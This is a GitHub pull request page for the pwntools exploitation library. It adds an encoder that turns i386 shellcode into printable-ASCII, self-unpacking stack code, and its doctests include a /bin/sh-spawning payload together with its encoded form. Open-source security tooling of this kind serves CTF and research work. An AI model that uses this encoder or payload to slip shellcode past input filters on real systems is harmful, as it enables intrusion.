Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

I386 ascii shellcode #1667

Merged
merged 23 commits into from
Sep 26, 2020
Merged
Show file tree
Hide file tree
Changes from 17 commits
Commits
Show all changes
23 commits
Select commit Hold shift + click to select a range
99b9673
Add module ascii_shellcode
TwoUnderscorez Aug 15, 2020
62d2540
Add doctests
TwoUnderscorez Aug 15, 2020
c28194c
Make the ascii_shellcode module accessible from pwn star import
TwoUnderscorez Aug 25, 2020
9864320
Remove unused imports
TwoUnderscorez Aug 26, 2020
decc809
Update docstr
TwoUnderscorez Aug 26, 2020
2b18fdf
Update CHANGELOG.md
TwoUnderscorez Aug 26, 2020
f4a55a4
Also test private functions
TwoUnderscorez Aug 26, 2020
f5e3a1e
Undo accidental modification of CHANGELOG.md
TwoUnderscorez Aug 28, 2020
8b14eae
Merge branch 'dev' into i386_ascii_shellcode
TwoUnderscorez Sep 5, 2020
8c183ac
Fix python 2
TwoUnderscorez Sep 5, 2020
cbbf903
Fix python 2 doctests
TwoUnderscorez Sep 5, 2020
adc31c3
Use bytes object in doctests instead of converting from/to hex strings
TwoUnderscorez Sep 8, 2020
a4fc2d0
Add doctest to shellcraft>asciify>run shellcode
TwoUnderscorez Sep 8, 2020
5c3b2ef
Move to pwnlib.encoders.i386
TwoUnderscorez Sep 20, 2020
de75dfa
Merge branch 'dev' into i386_ascii_shellcode
TwoUnderscorez Sep 20, 2020
1fcfeb0
Fix python 2
TwoUnderscorez Sep 20, 2020
496e3d2
Merge branch 'i386_ascii_shellcode' of github.com:TwoUnderscorez/pwnt…
TwoUnderscorez Sep 20, 2020
aec09a2
Apply some of the suggestions from Arusekk's code review
Sep 23, 2020
50909ae
Fix some broken code from the suggestions
TwoUnderscorez Sep 23, 2020
d685b41
Beautify code by using bytearrays everywhere
TwoUnderscorez Sep 25, 2020
3db1252
Fix python2 doctests
TwoUnderscorez Sep 25, 2020
1a5d8a9
Try to improve test coverage
TwoUnderscorez Sep 25, 2020
43853be
Remove unused imports
TwoUnderscorez Sep 25, 2020
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -65,6 +65,7 @@ The table below shows which release corresponds to each branch, and what date th
- [#1644][1644] Enable and support SNI for SSL-wrapped tubes
- [#1651][1651] Make `pwn shellcraft` faster
- [#1654][1654] Docker images (`pwntools/pwntools:stable` etc) now use Python3 by default, and includes assemblers for a few common architectures
- [#1667][1667] Add i386 encoder `ascii_shellcode`
- Fix syscall instruction lists for SROP on `i386` and `amd64`
- Fix migration to another ROP
- [#1673][1673] Add `base=` argument to `ROP.chain()` and `ROP.dump()`
Expand All @@ -79,6 +80,7 @@ The table below shows which release corresponds to each branch, and what date th
[1644]: https://github.com/Gallopsled/pwntools/pull/1644
[1651]: https://github.com/Gallopsled/pwntools/pull/1651
[1654]: https://github.com/Gallopsled/pwntools/pull/1654
[1667]: https://github.com/Gallopsled/pwntools/pull/1667
[1673]: https://github.com/Gallopsled/pwntools/pull/1673
[1675]: https://github.com/Gallopsled/pwntools/pull/1675
[1678]: https://github.com/Gallopsled/pwntools/pull/1678
Expand Down
5 changes: 4 additions & 1 deletion docs/source/encoders.rst
Original file line number Diff line number Diff line change
@@ -1,13 +1,16 @@
.. testsetup:: *

from pwn import *

:mod:`pwnlib.encoders` --- Encoding Shellcode
===============================================

.. automodule:: pwnlib.encoders.encoder
:members:

.. automodule:: pwnlib.encoders.i386.ascii_shellcode
:members:

.. automodule:: pwnlib.encoders.i386.xor
:members:

Expand Down
1 change: 1 addition & 0 deletions pwnlib/encoders/i386/__init__.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
from __future__ import absolute_import

from pwnlib.encoders.i386 import ascii_shellcode
from pwnlib.encoders.i386 import delta
from pwnlib.encoders.i386 import xor
300 changes: 300 additions & 0 deletions pwnlib/encoders/i386/ascii_shellcode.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,300 @@
""" Module to convert shellcode to shellcode that contains only ascii characters
"""
# https://github.com/Gallopsled/pwntools/pull/1667

from __future__ import absolute_import

import struct
from itertools import chain
from itertools import product
import six

from pwnlib.util.iters import group
from pwnlib.context import LocalContext
from pwnlib.context import context
from pwnlib.encoders.encoder import Encoder, all_chars


class AsciiShellcodeEncoder(Encoder):
""" Ascii encoder based on:
http://julianor.tripod.com/bc/bypass-msb.txt

A more visual explanation:
https://github.com/VincentDary/PolyAsciiShellGen/blob/master/README.md#mechanism

See the docstring of `__init__` and `__call__`
"""

def __init__(self, slop = 20):
""" Init

Args:
slop (int): The amount esp will be increased by in the allocation
phase (In addition to the length of the packed shellcode) as well
as defines the size of the NOP sled (you can increase/decrease the
size of the NOP sled by adding/removing b'P'-s to/from the end of
the packed shellcode)
"""
if six.PY2:
super(AsciiShellcodeEncoder, self).__init__()
elif six.PY3:
super().__init__()
self.slop = slop

# def asciify_shellcode(shellcode, slop, vocab = None):
@LocalContext
def __call__(self, raw_bytes, avoid=None, pcreg=None):
r""" Pack shellcode into only ascii characters that unpacks itself and
executes (on the stack)

Args:
raw_bytes (bytes): The shellcode to be packed
avoid (set, optional): Characters to avoid. Defaults to allow
printable ascii (0x21-0x7e).
pcreg (NoneType, optional): Ignored

Raises:
RuntimeError: A required character is not in ``vocab``
RuntimeError: Not supported architecture
ArithmeticError: The allowed character set does not contain
two characters that when they are bitwise-anded with eachother
they result is 0

Returns:
bytes: The packed shellcode

Examples:

>>> context.update(arch='i386', os='linux')
>>> sc = b"\x83\xc4\x181\xc01\xdb\xb0\x06\xcd\x80Sh/ttyh/dev\x89\xe31\xc9f\xb9\x12'\xb0\x05\xcd\x80j\x17X1\xdb\xcd\x80j.XS\xcd\x801\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\x99\xb0\x0b\xcd\x80"
>>> encoders.i386.ascii_shellcode.encode(sc)
b'TX-!!!!-"_``-~~~~P\\%!!!!%@@@@-!6!!-V~!!-~~<-P-!mha-a~~~P-!!L`-a^~~-~~~~P-!!if-9`~~P-!!!!-aOaf-~~~~P-!&!<-!~`~--~~~P-!!!!-!!H^-+A~~P-U!![-~A1~P-,<V!-~~~!-~~~GP-!2!8-j~O~P-!]!!-!~!r-y~w~P-c!!!-~<(+P-N!_W-~1~~P-!!]!-Mn~!-~~~<P-!<!!-r~!P-~~x~P-fe!$-~~S~-~~~~P-!!\'$-%z~~P-A!!!-~!#!-~*~=P-!7!!-T~!!-~~E^PPPPPPPPPPPPPPPPPPPPP'
>>> sc = shellcraft.echo("Hello world") + shellcraft.exit()
>>> ascii = encoders.i386.ascii_shellcode.encode(asm(sc))
>>> ascii += asm('jmp esp')
>>> ELF.from_bytes(ascii).process().recvall()
b'Hello world'
"""
if not avoid:
vocab = b"!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
else:
required_chars = set(b'\\-%TXP')
allowed = set(map(ord, all_chars))
Arusekk marked this conversation as resolved.
Show resolved Hide resolved
if not isinstance(avoid, set):
avoid = set(avoid)
if avoid.intersection(required_chars):
raise RuntimeError(
"These characters ({}) are required because they assemble into instructions used to unpack the shellcode".format(str(required_chars, 'ascii')))
allowed.difference_update(avoid)
vocab = bytes(allowed)

if context.arch != 'i386' or context.bits != 32:
raise RuntimeError('Only 32-bit i386 is currently supported')

int_size = context.bits // 8
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved

# Prepend with NOPs for the NOP sled
shellcode = b'\x90'*int_size + raw_bytes
subtractions = self._get_subtractions(shellcode, vocab)
allocator = self._get_allocator(len(subtractions) + self.slop, vocab)
nop_sled = b'P' * self.slop # push eax
return allocator + subtractions + nop_sled


@LocalContext
def _get_allocator(self, size, vocab):
r""" Allocate enough space on the stack for the shellcode

int_size is taken from the context (context.bits / 8)

Args:
size (int): The allocation size
vocab (bytes): Allowed characters

Returns:
bytes: The allocator shellcode

Examples:

>>> context.update(arch='i386', os='linux')
>>> vocab = b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
>>> encoders.i386.ascii_shellcode.encode._get_allocator(300, vocab)
b'TX-!!!!-!_``-t~~~P\\%!!!!%@@@@'
"""
size += 0x1e # add typical allocator size
int_size = context.bits // 8
# Use eax for subtractions because sub esp, X doesn't assemble to ascii
result = b'TX' # push esp; pop eax
# Set target to the `size` arg
target = struct.pack('=I', size)
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
# All we are doing here is adding (subtracting) `size`
# to esp (to allocate space on the stack), so we don't care
# about esp's actual value. That's why the `last` parameter
# for `calc_subtractions` can just be zero
for subtraction in self._calc_subtractions(
b'\x00'*int_size, target, vocab):
if six.PY2:
subtraction = str(subtraction)
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
# sub eax, subtraction
result += struct.pack('=c{}s'.format(int_size), b'-', subtraction)
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
result += b'P\\' # push eax, pop esp
# Zero out eax for the unpacking part
pos, neg = self._find_negatives(vocab)
# and eax, pos; and eax, neg ; (0b00010101 & 0b00101010 = 0b0)
result += struct.pack('=cIcI', b'%', pos, b'%', neg)
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
return result


@LocalContext
def _find_negatives(self, vocab):
r""" Find two bitwise negatives in the vocab so that when they are and-ed the result is 0.

int_size is taken from the context (context.bits / 8)

Args:
vocab (bytes): Allowed characters

Returns:
Tuple[int, int]: value A, value B

Raises:
ArithmeticError: The allowed character set does not contain
two characters that when they are bitwise-anded with eachother
they result is 0

Examples:

>>> context.update(arch='i386', os='linux')
>>> vocab = b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
>>> a, b = encoders.i386.ascii_shellcode.encode._find_negatives(vocab)
>>> a & b
0
"""
int_size = context.bits // 8
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
for products in product(*[vocab for _ in range(2)]):
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
if six.PY3:
if products[0] & products[1] == 0:
return tuple(int.from_bytes(x.to_bytes(1, 'little')*int_size, 'little') for x in products)
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
elif six.PY2:
if six.byte2int(products[0]) & six.byte2int(products[1]) == 0:
return tuple(struct.unpack('=I', x*int_size)[0] for x in products)
else:
raise ArithmeticError(
'Could not find two bitwise negatives in the provided vocab')


@LocalContext
def _get_subtractions(self, shellcode, vocab):
r""" Covert the sellcode to sub eax and posh eax instructions

int_size is taken from the context (context.bits / 8)

Args:
shellcode (bytes): The shellcode to pack
vocab (bytes): Allowed characters

Returns:
bytes: packed shellcode

Examples:

>>> context.update(arch='i386', os='linux')
>>> sc = b'ABCDEFGHIGKLMNOPQRSTUVXYZ'
>>> vocab = b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
>>> encoders.i386.ascii_shellcode.encode._get_subtractions(sc, vocab)
b'-(!!!-~NNNP-!=;:-f~~~-~~~~P-!!!!-edee-~~~~P-!!!!-eddd-~~~~P-!!!!-egdd-~~~~P-!!!!-eadd-~~~~P-!!!!-eddd-~~~~P'
"""
int_size = context.bits // 8
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
result = bytes()
last = b'\x00'*int_size
# Group the shellcode into bytes of stack cell size, pad with NOPs
# if the shellcode does not divide into stack cell size and reverse.
# The shellcode will be reversed again back to it's original order once
# it's pushed onto the stack
if six.PY3:
sc = tuple(group(int_size, shellcode, 0x90))[::-1]
elif six.PY2:
sc = []
for byte in group(int_size, shellcode, b'\x90'):
sc.append(''.join(byte))
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
sc = sc[::-1]
# Pack the shellcode to a sub/push sequence
for x in map(bytes, sc):
for subtraction in self._calc_subtractions(last, x, vocab):
if six.PY2:
subtraction = str(subtraction)
# sub eax, `subtraction`
result += struct.pack('=c{}s'.format(int_size), b'-', subtraction)
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
last = x
result += b'P' # push eax
return result


@LocalContext
def _calc_subtractions(self, last, target, vocab, max_subs = 4):
r""" Given `target` and `last`, return a list of integers that when
subtracted from `last` will equal `target` while only constructing
integers from bytes in `vocab`

int_size is take from the context (context.bits / 8)

Args:
last (bytes): Current value of eax
target (bytes): Desired value of eax
vocab (bytes): Allowed characters
max_subs (int): Maximum subtraction attempts

Raises:
ArithmeticError: If a sequence of subtractions could not be found

Returns:
List[bytearray]: List of numbers that would need to be subtracted
from `last` to get to `target`

Examples:

>>> context.update(arch='i386', os='linux')
>>> vocab = b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
>>> print(encoders.i386.ascii_shellcode.encode._calc_subtractions(b'\x10'*4, b'\x11'*4, vocab))
[bytearray(b'!!!!'), bytearray(b'`___'), bytearray(b'~~~~')]
>>> print(encoders.i386.ascii_shellcode.encode._calc_subtractions(b'\x11\x12\x13\x14', b'\x15\x16\x17\x18', vocab))
[bytearray(b'~}}}'), bytearray(b'~~~~')]
"""
int_size = context.bits // 8
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
subtractions = [bytearray(b'\x00'*int_size)]
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
if six.PY2:
last = map(ord, last)
target = map(ord, target)
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
for subtraction in range(max_subs):
carry = success_count = 0
for byte in range(int_size):
# Try all combinations of all the characters in vocab of
# `subtraction` characters in each combination. So if `max_subs`
# is 4 and we're on the second subtraction attempt, products will
# equal [\, ", #, %, ...], [\, ", #, %, ...], 0, 0
for products in product(
*[x <= subtraction and vocab or (0,) for x in range(max_subs)]
):
if six.PY2:
products = map(lambda x: isinstance(x, str) and ord(x) or x, products)
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
# Sum up all the products, carry from last byte and the target
attempt = sum(chain(
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
(target[byte], carry), products
))
# If the attempt equals last, we've found the combination
if last[byte] == attempt & 0xff:
carry = (attempt & 0xff00) >> 8
# Update the result with the current `products`
for p, i in zip(products, range(subtraction+1)):
subtractions[i][byte] = p
success_count += 1
break
if success_count == int_size:
return subtractions
else:
subtractions.append(bytearray(b'\x00'*int_size))
TwoUnderscorez marked this conversation as resolved.
Show resolved Hide resolved
else:
raise ArithmeticError(
str.format('Could not find the correct subtraction sequence to get the the desired target ({}) from ({})', target[byte], last[byte]))

encode = AsciiShellcodeEncoder()
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your editor could use some adjustments, as git is generally sad about no final newline (this project does not require it, though, so don't worry if you fix everything else).